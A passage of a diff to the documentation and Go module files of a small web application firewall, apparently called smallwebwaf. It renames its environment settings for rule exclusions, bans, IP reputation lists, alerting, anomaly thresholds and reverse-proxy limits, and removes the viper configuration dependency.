much of a request body the Core Rule Set reads, a size of at most `64K`. A
|
||||
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
|
||||
most 64 KiB less one byte of it, whatever the value (see "The answer" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
||||
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
|
||||
cannot be read or does not parse stops the start, whatever
|
||||
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
|
||||
900000 to 900999 outside a comment, alone or in a range. So does a directive
|
||||
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
|
||||
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
|
||||
- `SWW_WAF_APPS` (default unset): the apps each hostname serves. A request gets
|
||||
the fixes of its hostname's apps only (see "Attack detection" in
|
||||
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||
not inspect.
|
||||
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||
a range. So does a directive that removes or changes rules as the file loads,
|
||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||
yet. It has no `_FILE` form.
|
||||
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
||||
fixes of its hostname's apps only (see "Attack detection" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
||||
or more apps separated by commas, for example
|
||||
@@ -283,8 +274,8 @@ the request first.
|
||||
- `wordpress`.
|
||||
- The request's `Host` is matched by exact name, without its port and
|
||||
without regard to case. There are no wildcards.
|
||||
- A hostname not listed gets no app's fixes. Set empty, `SWW_WAF_APPS` lists
|
||||
no hostname.
|
||||
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
|
||||
hostname.
|
||||
- Unset, every app's fixes apply to every hostname.
|
||||
- Any of these mistakes stops the start:
|
||||
- an unknown app;
|
||||
@@ -292,111 +283,108 @@ the request first.
|
||||
- a hostname listed twice;
|
||||
- an app listed twice for one hostname;
|
||||
- an entry without a colon.
|
||||
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
|
||||
may get in a minute from a rule file, a trap path or the Core Rule Set, a
|
||||
count or `off`. The next one bans the client (see "Attack detection" in
|
||||
`SPEC.md`).
|
||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||
|
||||
## Ban lengths, response and scope
|
||||
|
||||
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
|
||||
A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||
duration.
|
||||
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
||||
that would be longer than this is permanent instead. A duration.
|
||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||
of attack. A duration.
|
||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||
that would be longer is permanent. A duration.
|
||||
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||
attack. A duration.
|
||||
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
covers: the prefix length of its netblock, from 0 to 32.
|
||||
|
||||
## Reputation
|
||||
|
||||
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||
without a user or a fragment. A URL listed twice is refused.
|
||||
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
||||
last try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
|
||||
`log`.
|
||||
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||
try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||
is refused, whatever its case or key.
|
||||
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
|
||||
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
|
||||
optional port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||
port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
control character in it is refused.
|
||||
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
|
||||
score, from 0 to 100, that is a hit.
|
||||
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
||||
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
||||
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
||||
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
||||
Set without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||
from 0 to 100, that is a hit.
|
||||
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||
without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||
URL, it is refused.
|
||||
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
|
||||
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
|
||||
or AbuseIPDB's score is used. A duration.
|
||||
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
|
||||
zone or a check with AbuseIPDB may take. A time in milliseconds.
|
||||
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
AbuseIPDB's score is used. A duration.
|
||||
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||
with AbuseIPDB may take. A duration.
|
||||
|
||||
## Alerting
|
||||
|
||||
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
||||
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
||||
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
||||
value. A value cannot hold a comma.
|
||||
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
||||
that receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
||||
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
||||
as the webhook URL is.
|
||||
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||
value cannot hold a comma.
|
||||
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||
receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||
webhook URL is.
|
||||
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
character in it is refused.
|
||||
- `SWW_WAF_ALERT_EVENTS` (default
|
||||
- `SWW_ALERT_EVENTS` (default
|
||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||
but `summary`. Any other name is refused.
|
||||
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
repeats are held back. A duration or `off`.
|
||||
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
|
||||
A whole number above zero, or `off`.
|
||||
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||
whole number above zero, or `off`.
|
||||
|
||||
## Anomaly thresholds
|
||||
|
||||
Each scope has four thresholds: the most requests and the most body bytes
|
||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
|
||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
thresholds per client are:
|
||||
|
||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
|
||||
The other scopes' names have another prefix before the same four endings, such
|
||||
as `REQUESTS_PER_MINUTE`:
|
||||
|
||||
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
netblock's length:
|
||||
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
client;
|
||||
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
client.
|
||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
|
||||
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
|
||||
(default empty) is a list of name, `=` and netblock, such as
|
||||
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
name, or with a bad netblock, is refused. So is a name used twice.
|
||||
|
||||
@@ -418,7 +406,7 @@ Then mount its directory into the container read-only, and name the file:
|
||||
docker run \
|
||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||
-e SWW_COMMAND=waf \
|
||||
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
...
|
||||
```
|
||||
|
||||
@@ -441,54 +429,51 @@ A few limits are fixed rather than settings:
|
||||
|
||||
## `waf`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
|
||||
an outside source. Keep it well under `rproxy`'s
|
||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
|
||||
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
|
||||
asked in the background (see "Answering in time" under "`waf`" in
|
||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||
in the background (see "Answering in time" under "`waf`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
|
||||
`sww rproxy` reads the settings below and no others. They are read once at
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
start, and an invalid value stops the start. None can be given as a file, since
|
||||
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||
they do.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||
never `off`.
|
||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
|
||||
gives, such as an error.
|
||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||
size or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||
size or `off`.
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
in milliseconds or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. An
|
||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||
do the status and headers of the app's answer. A time in milliseconds or
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
||||
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
||||
HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||
answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||
`waf` cannot be connected to, does not answer at all, or does not answer
|
||||
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||
`503`. It does not apply to an answer `waf` gives, such as an error.
|
||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||
`off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
`http` or `https` URL with a host and an optional port, and nothing more.
|
||||
- `SWW_RPROXY_TRUSTED_PROXIES` (default
|
||||
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
||||
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
||||
outside these netblocks cannot claim another address. Where other containers
|
||||
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
||||
can name another address in the header. Narrowing the setting to traefik's own
|
||||
network closes that gap.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
||||
send its request line and headers. It then also bounds, from the end of the
|
||||
headers, the time until the app has been sent the whole request. A time or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||
from the end of the request to its last byte reaching the visitor. An answer
|
||||
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||
status and headers of the app's answer. A time or `off`.
|
||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more.
|
||||
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
||||
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
||||
nothing. A client outside these netblocks cannot claim another address. Where
|
||||
other containers reach `rproxy` directly, or visitors on a private network
|
||||
reach traefik, they can name another address in the header. Narrowing the
|
||||
setting to traefik's own network closes that gap.
|
||||
|
||||
## The image's command
|
||||
|
||||
@@ -500,14 +485,14 @@ It cannot be given as a file.
|
||||
|
||||
Nothing reads these names any more:
|
||||
|
||||
- `SWW_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
|
||||
- `SWW_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
|
||||
- `SWW_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
|
||||
- `SWW_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||
takes a request line and headers of at most 32 KiB.
|
||||
+10
-10
@@ -4,15 +4,15 @@ The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
||||
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
||||
top-level `version` of 1.
|
||||
|
||||
- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
|
||||
hold what cannot be fetched again, so back them up:
|
||||
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
||||
what cannot be fetched again, so back them up:
|
||||
- `bans.json`;
|
||||
- `clients.json`;
|
||||
- `abuseipdb-checks-spent.json`;
|
||||
- `alerts.json`.
|
||||
- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
|
||||
hold answers from outside services, which are asked again when a file is lost,
|
||||
so the directory can be left out of backups:
|
||||
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
||||
answers from outside services, which are asked again when a file is lost, so
|
||||
the directory can be left out of backups:
|
||||
- `lookups.json`;
|
||||
- `lists.json`;
|
||||
- `dnsbl.json`;
|
||||
@@ -21,8 +21,8 @@ top-level `version` of 1.
|
||||
|
||||
## `bans.json`
|
||||
|
||||
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
||||
those `waf` made. Per entry:
|
||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||
`waf` made. Per entry:
|
||||
|
||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||
@@ -146,10 +146,10 @@ A cache file. routewatch's answers from the last hour, one per line:
|
||||
## Sizes
|
||||
|
||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
|
||||
of disk writes a day.
|
||||
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||
disk writes a day.
|
||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||
more.
|
||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||
|
||||
@@ -11,14 +11,12 @@ require (
|
||||
github.com/maxmind/mmdbwriter v1.2.0
|
||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||
github.com/prometheus/client_golang v1.24.1
|
||||
github.com/spf13/viper v1.21.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||
github.com/goccy/go-json v0.10.5 // indirect
|
||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||
@@ -28,22 +26,14 @@ require (
|
||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||
github.com/magefile/mage v1.17.0 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||
github.com/prometheus/client_model v0.6.2 // indirect
|
||||
github.com/prometheus/common v0.70.1 // indirect
|
||||
github.com/prometheus/procfs v0.21.1 // indirect
|
||||
github.com/sagikazarmark/locafero v0.11.0 // indirect
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
|
||||
github.com/spf13/afero v1.15.0 // indirect
|
||||
github.com/spf13/cast v1.10.0 // indirect
|
||||
github.com/spf13/pflag v1.0.10 // indirect
|
||||
github.com/subosito/gotenv v1.6.0 // indirect
|
||||
github.com/tidwall/gjson v1.18.0 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/net v0.60.0 // indirect
|
||||
golang.org/x/sync v0.23.0 // indirect
|
||||
|
||||
@@ -16,12 +16,8 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
|
||||
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||
@@ -42,10 +38,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
|
||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
